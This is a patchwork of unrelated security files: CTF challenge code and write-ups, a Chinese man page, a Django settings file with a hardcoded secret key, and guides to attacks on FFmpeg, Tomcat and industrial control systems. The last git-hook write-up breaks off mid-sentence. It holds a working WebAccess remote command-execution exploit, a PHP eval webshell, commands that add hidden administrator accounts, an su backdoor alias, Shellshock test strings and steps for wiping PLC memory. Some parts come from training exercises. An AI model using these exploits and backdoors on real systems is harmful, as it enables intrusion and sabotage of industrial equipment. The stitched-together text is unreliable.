from library import * if len(sys.argv) > 2: n = int(sys.argv[2]) else: n = None i, o, t = load_npz(sys.argv[1], n) t = t[:, 395000:398000] align_fft(t, 500) show_traces(t)
sec-knowleage
#!/usr/bin/env python3 import os from Crypto.Cipher import AES from Crypto.Hash import SHA256 from Crypto.Util import Counter from Crypto.PublicKey import RSA flag = open('flag.txt', 'rb').read().strip() key = RSA.generate(1024, e=3) open('pubkey.txt', 'w').write(key.publickey().exportKey('PEM').decode() + '\n') open('rsa.enc', 'wb').write(pow(int.from_bytes(flag.ljust(128, b'\0'), 'big'), key.e, key.n).to_bytes(128, 'big')) key = SHA256.new(key.exportKey('DER')).digest() open('aes.enc', 'wb').write(AES.new(key, AES.MODE_CTR, counter=Counter.new(128)).encrypt(flag))
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH SHA224SUM 1 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 sha224sum \- 计算并校验 SHA224 信息摘要 .SH 概述 \fBsha224sum\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]... .SH 描述 .\" Add any additional description here .PP 输出或检查 SHA224 (224位) 校验和。 .PP 如果没有指定文件,或者指定文件为“\-”,则从标准输入读取。 .TP \fB\-b\fP, \fB\-\-binary\fP 以二进制模式读入 .TP \fB\-c\fP, \fB\-\-check\fP 从指定文件中校验和信息并对它们进行检查 .TP \fB\-\-tag\fP 创建一个 BSD 风格的校验和 .TP \fB\-t\fP, \fB\-\-text\fP 以文本模式读入(默认) .TP \fB\-z\fP, \fB\-\-zero\fP 以 NUL 空字符而非换行符结束每一输出行,同时禁用文件名转义 .SS 下面五个选项仅在验证校验和时有用: .TP \fB\-\-ignore\-missing\fP 遇到缺失的文件时不报告错误,保持静默 .TP \fB\-\-quiet\fP 不要为每个成功验证的文件显示成功信息 .TP \fB\-\-status\fP 不要输出任何信息,由返回值判断成功与否 .TP \fB\-\-strict\fP 为没有正确格式化的校验和文字行给出非零返回值 .TP \fB\-w\fP, \fB\-\-warn\fP 为没有正确格式化的校验和文字行给出警告信息 .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 校验和按照 RFC 3874 描述的方式进行计算。在校验过程中,其输入内容应当为该程序先前的输出内容。默认模式是输出一行文字,包含:校验和、一个指示输入模式的字符('*' 指示二进制输入,' ' 指示二进制特性不明显的文本输入)以及每个文件的名称。 .PP 注意:GNU 系统上二进制模式和文本模式没有区别。 .SH 作者 由 Ulrich Drepper, Scott Miller 和 David Madore 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 \fBcksum\fP(1) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/sha224sum> .br 或者在本地使用: info \(aq(coreutils) sha2 utilities\(aq
sec-knowleage
## zer0-day (crypto, 50p, 824 solves) > [eps1.9_zer0-day_b7604a922c8feef666a957933751a074.avi](zer0-day.bin) ### PL Version `for ENG version scroll down` Pobieramy wskazany plik. Jego zawartość to: RXZpbCBDb3JwLCB3ZSBoYXZlIGRlbGl2ZXJlZCBvbiBvdXIgcHJvbWlzZSBhcyBleHBlY3RlZC4g\n VGhlIHBlb3BsZSBvZiB0aGUgd29ybGQgd2hvIGhhdmUgYmVlbiBlbnNsYXZlZCBieSB5b3UgaGF2\n ZSBiZWVuIGZyZWVkLiBZb3VyIGZpbmFuY2lhbCBkYXRhIGhhcyBiZWVuIGRlc3Ryb3llZC4gQW55\n IGF0dGVtcHRzIHRvIHNhbHZhZ2UgaXQgd2lsbCBiZSB1dHRlcmx5IGZ1dGlsZS4gRmFjZSBpdDog\n eW91IGhhdmUgYmVlbiBvd25lZC4gV2UgYXQgZnNvY2lldHkgd2lsbCBzbWlsZSBhcyB3ZSB3YXRj\n aCB5b3UgYW5kIHlvdXIgZGFyayBzb3VscyBkaWUuIFRoYXQgbWVhbnMgYW55IG1vbmV5IHlvdSBv\n d2UgdGhlc2UgcGlncyBoYXMgYmVlbiBmb3JnaXZlbiBieSB1cywgeW91ciBmcmllbmRzIGF0IGZz\n b2NpZXR5LiBUaGUgbWFya2V0J3Mgb3BlbmluZyBiZWxsIHRoaXMgbW9ybmluZyB3aWxsIGJlIHRo\n ZSBmaW5hbCBkZWF0aCBrbmVsbCBvZiBFdmlsIENvcnAuIFdlIGhvcGUgYXMgYSBuZXcgc29jaWV0\n eSByaXNlcyBmcm9tIHRoZSBhc2hlcyB0aGF0IHlvdSB3aWxsIGZvcmdlIGEgYmV0dGVyIHdvcmxk\n LiBBIHdvcmxkIHRoYXQgdmFsdWVzIHRoZSBmcmVlIHBlb3BsZSwgYSB3b3JsZCB3aGVyZSBncmVl\n ZCBpcyBub3QgZW5jb3VyYWdlZCwgYSB3b3JsZCB0aGF0IGJlbG9uZ3MgdG8gdXMgYWdhaW4sIGEg\n d29ybGQgY2hhbmdlZCBmb3JldmVyLiBBbmQgd2hpbGUgeW91IGRvIHRoYXQsIHJlbWVtYmVyIHRv\n IHJlcGVhdCB0aGVzZSB3b3JkczogImZsYWd7V2UgYXJlIGZzb2NpZXR5LCB3ZSBhcmUgZmluYWxs\n eSBmcmVlLCB3ZSBhcmUgZmluYWxseSBhd2FrZSF9Ig== Na pierwszy rzut oka to base64, wystarczy go zdekodować (pamiętając żeby "\n" nie traktowąc literalnie tylko wyciąć) Evil Corp, we have delivered on our promise as expected. The people of the world who have been enslaved by you have been freed. Your financial data has been destroyed. Any attempts to salvage it will be utterly futile. Face it: you have been owned. We at fsociety will smile as we watch you and your dark souls die. That means any money you owe these pigs has been forgiven by us, your friends at fsociety. The market's opening bell this morning will be the final death knell of Evil Corp. We hope as a new society rises from the ashes that you will forge a better world. A world that values the free people, a world where greed is not encouraged, a world that belongs to us again, a world changed forever. And while you do that, remember to repeat these words: "flag{We are fsociety, we are finally free, we are finally awake!}" Mamy flagę i 50 punktów ### ENG Version We download provided file. Its contents: RXZpbCBDb3JwLCB3ZSBoYXZlIGRlbGl2ZXJlZCBvbiBvdXIgcHJvbWlzZSBhcyBleHBlY3RlZC4g\n VGhlIHBlb3BsZSBvZiB0aGUgd29ybGQgd2hvIGhhdmUgYmVlbiBlbnNsYXZlZCBieSB5b3UgaGF2\n ZSBiZWVuIGZyZWVkLiBZb3VyIGZpbmFuY2lhbCBkYXRhIGhhcyBiZWVuIGRlc3Ryb3llZC4gQW55\n IGF0dGVtcHRzIHRvIHNhbHZhZ2UgaXQgd2lsbCBiZSB1dHRlcmx5IGZ1dGlsZS4gRmFjZSBpdDog\n eW91IGhhdmUgYmVlbiBvd25lZC4gV2UgYXQgZnNvY2lldHkgd2lsbCBzbWlsZSBhcyB3ZSB3YXRj\n aCB5b3UgYW5kIHlvdXIgZGFyayBzb3VscyBkaWUuIFRoYXQgbWVhbnMgYW55IG1vbmV5IHlvdSBv\n d2UgdGhlc2UgcGlncyBoYXMgYmVlbiBmb3JnaXZlbiBieSB1cywgeW91ciBmcmllbmRzIGF0IGZz\n b2NpZXR5LiBUaGUgbWFya2V0J3Mgb3BlbmluZyBiZWxsIHRoaXMgbW9ybmluZyB3aWxsIGJlIHRo\n ZSBmaW5hbCBkZWF0aCBrbmVsbCBvZiBFdmlsIENvcnAuIFdlIGhvcGUgYXMgYSBuZXcgc29jaWV0\n eSByaXNlcyBmcm9tIHRoZSBhc2hlcyB0aGF0IHlvdSB3aWxsIGZvcmdlIGEgYmV0dGVyIHdvcmxk\n LiBBIHdvcmxkIHRoYXQgdmFsdWVzIHRoZSBmcmVlIHBlb3BsZSwgYSB3b3JsZCB3aGVyZSBncmVl\n ZCBpcyBub3QgZW5jb3VyYWdlZCwgYSB3b3JsZCB0aGF0IGJlbG9uZ3MgdG8gdXMgYWdhaW4sIGEg\n d29ybGQgY2hhbmdlZCBmb3JldmVyLiBBbmQgd2hpbGUgeW91IGRvIHRoYXQsIHJlbWVtYmVyIHRv\n IHJlcGVhdCB0aGVzZSB3b3JkczogImZsYWd7V2UgYXJlIGZzb2NpZXR5LCB3ZSBhcmUgZmluYWxs\n eSBmcmVlLCB3ZSBhcmUgZmluYWxseSBhd2FrZSF9Ig== At the first glance it looks like a base64 encoding, we only need to decode it (keeping in mind to cut out "\n" characters) Evil Corp, we have delivered on our promise as expected. The people of the world who have been enslaved by you have been freed. Your financial data has been destroyed. Any attempts to salvage it will be utterly futile. Face it: you have been owned. We at fsociety will smile as we watch you and your dark souls die. That means any money you owe these pigs has been forgiven by us, your friends at fsociety. The market's opening bell this morning will be the final death knell of Evil Corp. We hope as a new society rises from the ashes that you will forge a better world. A world that values the free people, a world where greed is not encouraged, a world that belongs to us again, a world changed forever. And while you do that, remember to repeat these words: "flag{We are fsociety, we are finally free, we are finally awake!}" We have the flag and 50 points.
sec-knowleage
# FFmpeg HLS vulnerability FFmpeg is an open source software used for processing audio and video formats. You can use a malicious HLS playlist inside an AVI video to read arbitrary files. ## Exploits ``` 1. `./gen_xbin_avi.py file://<filename> file_read.avi` 2. Upload `file_read.avi` to some website that processes videofiles 3. (on server side, done by the videoservice) `ffmpeg -i file_read.avi output.mp4` 4. Click "Play" in the videoservice. 5. If you are lucky, you'll the content of `<filename>` from the server. ``` ## How it works (Explanations from neex - Hackerone links) the script creates an AVI that contains an HLS playlist inside GAB2. The playlist generated by this script looks like this: ``` #EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:1.0 GOD.txt #EXTINF:1.0 /etc/passwd #EXT-X-ENDLIST ``` To process a playlist ffmpeg concatenates all segments and processes it as single file. To determine the type of this file FFmpeg uses the first segment of the playlist. FFmpeg processes .txt files in a special way. It tries to show a screen capture of a tty printing this file. So, the playlist above will be processed as follows: FFmpeg sees #EXTM3U signature inside GAB2 chunk and determines file type as HLS playlist. The file GOD.txt doesn't even exist, but it's name is enough for FFmpeg to detect file type as .txt. FFmpeg concatenates the contents of all segments of the playlist. As only one of two segments actually exists, the result of concatenation is just the contents of the file we want to retrieve. Because the type of this concatenation is .txt, FFmpeg draws a tty that prints the file. ## Thanks to * [Hackerone - Local File Disclosure via ffmpeg @sxcurity](https://hackerone.com/reports/242831) * [Hackerone - Another local file disclosure via ffmpeg](https://hackerone.com/reports/243470) * [PHDays - Attacks on video converters:a year later, Emil Lerner, Pavel Cheremushkin](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p) * [Script by @neex](https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py)
sec-knowleage
# level01 #### About There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it? To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01. #### Source code ``` #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { gid_t gid; uid_t uid; gid = getegid(); uid = geteuid(); setresgid(gid, gid, gid); setresuid(uid, uid, uid); system("/usr/bin/env echo and now what?"); } ``` #### Solutions ``` cd /home/level01/ export PATH=/home/level01:$PATH ln -s /bin/getflag /home/level01/echo /home/flag01/flag01 ``` #### SU backdoor ``` vim ~/.bashrc ++ alias su=/tmp/su_backdoor su Password: ``` #### Recommend env env [OPTION]... [NAME=VALUE] [COMMAND [ARGS]...] 让命令在已修改的环境变量下运行。'VARIABLE=VALUE' 设置环境变量VARIABLE的 值为VALUE. VALUE的值可以为空,将变量的值设为空,并不等同于移除声明的变 量.整个执行顺序: 从左到右,如果两次声明的是同一变量,则第一个声明会被第 二个覆盖. 如果未指定env后面的命令,将输出环境变量,类似执行了'printenv'程序. 0 ---- if no COMMAND is specified and the environment is output. 125 ---- if `env' itself fails 126 ---- if COMMAND is found but cannot be invoked 127 ---- if COMMAND cannont be found the exit status of COMMAND otherwise source source filename [arguments] source 命令,可以将加载文件中的函数,到当前shell脚本或命令行环境. source 命令,可以强制让一个脚本去影响当前的环境,export则只能影响其子环境. 例如: source ~/.bashrc 等效于 ~/.bashrc BASH shellshock CVE-2014-6271 env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id CVE-2014-6277 will segfault if vulnerable env X='() { x() { _; }; x() { _; } <<a; }' bash -c : Additional discussion on fulldisclosure: http://seclists.org/fulldisclosure/2014/Oct/9 Additional information: http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html CVE-2014-6278 env X='() { _; } >_[$($())] { echo CVE-2014-6278 vulnerable; id; }' bash -c : Additional information: http://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html CVE-2014-7169 will create a file named echo in cwd with date in it, if vulnerable env X='() { (a)=>\' bash -c "echo date"; cat echo CVE-2014-7186 bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack" CVE-2014-7187 (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"
sec-knowleage
# Tomcat7+ 弱口令 && 后台getshell漏洞 Tomcat版本:8.0 ## 环境说明 Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。 Tomcat7+权限分为: - manager(后台管理) - manager-gui 拥有html页面权限 - manager-status 拥有查看status的权限 - manager-script 拥有text接口的权限,和status权限 - manager-jmx 拥有jmx权限,和status权限 - host-manager(虚拟主机管理) - admin-gui 拥有html页面权限 - admin-script 拥有text接口权限 这些权限的究竟有什么作用,详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html 在`conf/tomcat-users.xml`文件中配置用户的权限: ```xml <?xml version="1.0" encoding="UTF-8"?> <tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> </tomcat-users> ``` 可见,用户tomcat拥有上述所有权限,密码是`tomcat`。 正常安装的情况下,tomcat8中默认没有任何用户,且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。 ## 漏洞测试 无需编译,直接启动整个环境: ``` docker compose up -d ``` 打开tomcat管理页面`http://your-ip:8080/manager/html`,输入弱密码`tomcat:tomcat`,即可访问后台: ![](1.png) 上传war包即可直接getshell。
sec-knowleage
# 签到 1 查看流量包, 过滤 modbus 协议, 一个一个翻,发现 flag --- # 签到 2 notepad++ 打开, 直接搜 s7comm, 一个一个 IP 提交试过去, 发现 flag IP --- # email 在 F12 源码中发现目标是 winmail 6.1,这个版本存在一个普通用户上传 getshell 的漏洞 并且在 F12 源码中发现测试账号 登录系统后上传文件保存到网盘,并抓取数据包 通过修改 ftpfolder 值为 “Ly4uLy4uL3dlYm1haWwvd3d3Lw==” 代表 “/../../webmail/www/” 访问 http://10.100.101.8:8080/shell.php 即可获取webshell,在 administrator 目录下发现 flag --- # web 搜索框注入 sqlmap 直接拿 os-shell ``` python3.exe sqlmap.py -r e:\c.txt --os-shell ``` 输入 cmd 命令生成 webshell `echo ^<?php eval($_POST["shell"]); ?^> >1.php` 蚁剑连接 1.php, 上 cs 提权 ``` net user a Abcd1234 /add net localgroup administrators a /add net localgroup "Remote Desktop Users" a /add ``` 输入上面的命令生成 rdp 用户 修改 admin 用户密码,rdp 登录,一样的步骤 如果找不到可以上传一个 everything 搜索 flag.txt --- # oa 存在一个通达 OA 任意用户登录漏洞,用 poc 直接打可以进后台 通过通达 OA 任意文件上传漏洞,本地文件包含漏洞 成功拿 shell, 加用户 ``` net user a Abcd1234 /add net localgroup administrators a /add net localgroup "Remote Desktop Users" a /add ``` rdp 连接 a 用户,打开用户管理,修改 administrator 用户密码,rdp 登录用户 到回收站里拖 flag 文件到桌面即可 --- # mes 这题我们 RDP 在 web 的机器上做的,扫描后面的一个 C 段,发现 mes 的 IP 地址, 然后根据提示用 webaccess 的溢出漏洞打 ```py #!/usr/bin/python2.7 import sys, struct from impacket import uuid from impacket.dcerpc.v5 import transport def call(dce, opcode, stubdata): dce.call(opcode, stubdata) res = -1 try: res = dce.recv() except Exception, e: print "Exception encountered..." + str(e) sys.exit(1) return res if len(sys.argv) != 2: print "Provide only host arg" sys.exit(1) port = 4592 interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc" version = "1.0" host = sys.argv[1] string_binding = "ncacn_ip_tcp:%s" % host trans = transport.DCERPCTransportFactory(string_binding) trans.set_dport(port) dce = trans.get_dce_rpc() dce.connect() print "Binding..." iid = uuid.uuidtup_to_bin((interface, version)) dce.bind(iid) print "...1" stubdata = struct.pack("<III", 0x00, 0xc351, 0x04) call(dce, 2, stubdata) print "...2" stubdata = struct.pack("<I", 0x02) res = call(dce, 4, stubdata) if res == -1: print "Something went wrong" sys.exit(1) res = struct.unpack("III", res) if (len(res) < 3): print "Received unexpected length value" sys.exit(1) print "...3" # ioctl 0x2711 stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204) command = "..\\..\\windows\\system32\\cmd.exe /c 命令" #net user a Abcd1234 /add #net localgroup administrators a /add #net localgroup "Remote Desktop Users" a /add fmt = "<" + str(0x204) + "s" stubdata += struct.pack(fmt, command) call(dce, 1, stubdata) print "\nDid it work?" dce.disconnect() ``` rdp 连接 a 然后改密码和上面的几题 web 一样用 everything 找 flag.txt, 但找出来的不对,后来发现桌面壁纸是个 base64,解一下得到 flag --- # ics3 拿下 mes 这台后,他桌面上有个 rdp 的密码文件,直接上 goby 扫C段,发现 mes 同C段后面一位的机器开着 3389,直接连接 连接后 netstat -ano 查看主机连接,发现该主机连接另一台主机的 8080 口 访问发现是 openplc 管理页面,默认口令就是 openplc openplc 上传 st 文件后,在 用户那边看到有个 openplc@openplc.com ,尝试提交,成功 --- # 附加题1 RDP 扫描弱口令 直接连接 上去后有 web 的账号密码,goby 扫一下 web 就有防火墙的地址了,上去关掉策略就行 --- # 附加题2 从流量包题分析出 S7-200 机器为 192.168.1.3 直接用 snap7 工具连接,要slot选择为1 --- # 附加题3 用 snap7 工具连接 192.168.1.3 后,直接通过 DB FILL 覆写所有区块,达到破坏性效果 --- # 附加题4 用 snap7 工具连接 192.168.1.3 后,直接通过 DB FILL 覆写所有区块,达到破坏性效果 --- # 附加题5 这个我猜测和 3、4 解法一样,只是可惜现场没时间了。
sec-knowleage
""" Django settings for CVE20209402 project. Generated by 'django-admin startproject' using Django 2.2.6. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '+gwh3e_&fa_9m_1ttbvb#mzt3d$*o#hwg+vqdbaw@v)k7yn6(m' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ["*"] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'django.contrib.gis', 'vuln', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'CVE20209402.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'CVE20209402.wsgi.application' # Database # https://docs.djangoproject.com/en/2.2/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.contrib.gis.db.backends.oracle', 'NAME': 'orcl', 'USER': 'system', 'PASSWORD': 'oracle', 'HOST': "db", 'PORT': '1521', } } # Password validation # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.2/howto/static-files/ STATIC_URL = '/static/'
sec-knowleage
##MD5 (Crypto, 200p) He is influential, he is powerful. He is your next contact you can get you out of this situation. You must reach him soon. Who is he? The few pointers intrecpted by KGB are in the file. Once we know him, we can find his most valuable possession, his PRIDE. ###PL [ENG](#eng-version) Dostajemy plik z hashami md5: d80517c8069d7702d8fdd89b64b4ed3b 088aed904b5a278342bba6ff55d0b3a8 56cdd7e9e3cef1974f4075c03a80332d 0a6de9d8668281593bbd349ef75c1f49 972e73b7a882d0802a4e3a16946a2f94 1cc84619677de81ee6e44149845270a3 b95086a92ffcac73f9c828876a8366f0 b068931cc450442b63f5b3d276ea4297 Złamanie tych hashy (np. za pomocą http://md5cracker.org/decrypted-md5-hash/b068931cc450442b63f5b3d276ea4297) daje nam słowa: `Carrie`, `Grease`, `Perfect`, `Shout`, `Basic`, `Actor`, `Aircraft`, `name`. Można wynioskować, że chodzi tutaj o Johna Travoltę oraz o nazwę jego samolotu. Z pomocą przychodzi google i mówi, że samolot nazywa się `Jett Clipper Ella` co też jest flagą. ###ENG version We get a file with md5 hashes: d80517c8069d7702d8fdd89b64b4ed3b 088aed904b5a278342bba6ff55d0b3a8 56cdd7e9e3cef1974f4075c03a80332d 0a6de9d8668281593bbd349ef75c1f49 972e73b7a882d0802a4e3a16946a2f94 1cc84619677de81ee6e44149845270a3 b95086a92ffcac73f9c828876a8366f0 b068931cc450442b63f5b3d276ea4297 Breaking them (eg. with http://md5cracker.org/decrypted-md5-hash/b068931cc450442b63f5b3d276ea4297) gives us words: `Carrie`, `Grease`, `Perfect`, `Shout`, `Basic`, `Actor`, `Aircraft`, `name`. We figure out they are about John Travolta and out task is to find his airplane name. Google says it's `Jett Clipper Ella` and it's the flag.
sec-knowleage
# Episode 4: Challenge 3 ## Description > The VRP platform is proudly open-source, and encourages submissions. Let's try to change something and see if we can find some bugs. > > Hint: Look around the site to find out how to contribute. ## Solution In [Challenge 2](e04c02.md) we got the source code for the website, allowing us to inspect the `/contributing` page: ```html <p>Thank you for taking the time to consider improving the Google VRP website!</p> <p>We welcome all contributions, including bug fixes, improvements, documentation updates and style suggestions. Read on to see how to get started.</p> <h2>Getting Started</h2> <p>First, clone the Git repo for this project:</p> <pre style=" white-space: pre-line;"> <code> $ git clone git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo $ git checkout -b my-feature </code> </pre> <p>After you make your changes, push them up to create a Pull Request:</p> <pre style=" white-space: pre-line;"> <code> $ git push </code> </pre> <p>You will get back a link to your proposal where a member of the team will review your changes for conformance and make any comments.</p> ``` So, let's go ahead and clone: ```console ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_03] └─$ git clone git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo Cloning into 'vrp_repo'... remote: Enumerating objects: 7, done. remote: Counting objects: 100% (7/7), done. remote: Compressing objects: 100% (5/5), done. remote: Total 7 (delta 0), reused 0 (delta 0), pack-reused 0 Receiving objects: 100% (7/7), done. ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_03] └─$ ls -al vrp_repo total 14 drwxrwx--- 1 root vboxsf 0 Oct 9 2022 . drwxrwx--- 1 root vboxsf 0 Oct 9 2022 .. -rwxrwx--- 1 root vboxsf 5440 Oct 9 2022 app.go -rwxrwx--- 1 root vboxsf 128 Oct 9 2022 build.sh -rwxrwx--- 1 root vboxsf 321 Oct 9 2022 configure_flags.sh drwxrwx--- 1 root vboxsf 4096 Oct 9 2022 .git -rwxrwx--- 1 root vboxsf 6 Oct 9 2022 .gitignore -rwxrwx--- 1 root vboxsf 40 Oct 9 2022 go.mod ``` We have: `build.sh`: ```bash #!/usr/bin/env bash source configure_flags.sh &>/dev/null echo "Building version ${VERSION}" go build -ldflags="${LDFLAGS[*]}" ``` `configure_flags.sh`: ```bash #!/usr/bin/env bash # IMPORTANT: Make sure to bump this before pushing a new binary. VERSION="v0.1.1" COMMIT_HASH="$(git rev-parse --short HEAD)" BUILD_TIMESTAMP=$(date '+%Y-%m-%dT%H:%M:%S') LDFLAGS=( "-X 'main.Version=${VERSION}'" "-X 'main.CommitHash=${COMMIT_HASH}'" "-X 'main.BuildTime=${BUILD_TIMESTAMP}'" ) ``` And a few more `go` files. We were told to make a change and submit, let's try to do that: ```console ┌──(user@kali)-[/media/…/h4ck1ng.google/EP004/Challenge_03/vrp_repo] └─$ git checkout -b solve Switched to a new branch 'solve' ┌──(user@kali)-[/media/…/h4ck1ng.google/EP004/Challenge_03/vrp_repo] └─$ touch new_file.txt ┌──(user@kali)-[/media/…/h4ck1ng.google/EP004/Challenge_03/vrp_repo] └─$ git add new_file.txt ┌──(user@kali)-[/media/…/h4ck1ng.google/EP004/Challenge_03/vrp_repo] └─$ git commit -m "Adding new file" [solve 2288dd0] Adding new file 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 new_file.txt ┌──(user@kali)-[/media/…/h4ck1ng.google/EP004/Challenge_03/vrp_repo] └─$ git push --set-upstream origin solve Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Delta compression using up to 4 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (3/3), 273 bytes | 54.00 KiB/s, done. Total 3 (delta 1), reused 0 (delta 0), pack-reused 0 remote: Skipping presubmit (enable via push option) remote: Thank you for your interest, but we are no longer accepting proposals To git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo ! [remote rejected] solve -> solve (pre-receive hook declined) error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo' ``` We get rejected by a pre-receive hook! It runs on the server so we can't really modify it. But what's that about "Skipping presubmit (enable via push option)"? Let's try to enable presubmit via push options: ```console ┌──(user@kali)-[/media/…/h4ck1ng.google/EP004/Challenge_03/vrp_repo] └─$ git push --set-upstream origin solve --push-option="presubmit" Enumerating objects: 4, done. Counting objects: 100% (4/4), done. Delta compression using up to 4 threads Compressing objects: 100% (2/2), done. Writing objects: 100% (3/3), 273 bytes | 45.00 KiB/s, done. Total 3 (delta 1), reused 0 (delta 0), pack-reused 0 remote: Starting presubmit check remote: Cloning into 'tmprepo'... remote: done. remote: HEAD is now at 2288dd0 Adding new file remote: Building version v0.1.1 remote: ./build.sh: line 5: go: command not found remote: Build server must be misconfigured again... remote: Thank you for your interest, but we are no longer accepting proposals To git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo ! [remote rejected] solve -> solve (pre-receive hook declined) error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo' ``` Notice how it looks like we ran `build.sh`. What if we try to modify it: ``` ┌──(user@kali)-[/media/…/h4ck1ng.google/EP004/Challenge_03/vrp_repo] └─$ echo "ls -al" > build.sh ┌──(user@kali)-[/media/…/h4ck1ng.google/EP004/Challenge_03/vrp_repo] └─$ git commit -am "Changing build.sh" [solve 72d155e] Changing build.sh 1 file changed, 1 insertion(+), 5 deletions(-) ┌──(user@kali)-[/media/…/h4ck1ng.google/EP004/Challenge_03/vrp_repo] └─$ git push --set-upstream origin solve --push-option="presubmit" Enumerating objects: 8, done. Counting objects: 100% (8/8), done. Delta compression using up to 4 threads Compressing objects: 100% (4/4), done. Writing objects: 100% (6/6), 547 bytes | 68.00 KiB/s, done. Total 6 (delta 2), reused 0 (delta 0), pack-reused 0 remote: Starting presubmit check remote: Cloning into 'tmprepo'... remote: done. remote: HEAD is now at 72d155e Changing build.sh remote: Building version v0.1.1 remote: ./build.sh: line 5: go: command not found remote: Build server must be misconfigured again... remote: Thank you for your interest, but we are no longer accepting proposals To git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo ! [remote rejected] solve -> solve (pre-receive hook declined) error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo' ``` Well, it's still complaining about the `go` command on line 5 even though the `HEAD` is pointing to the right commit, 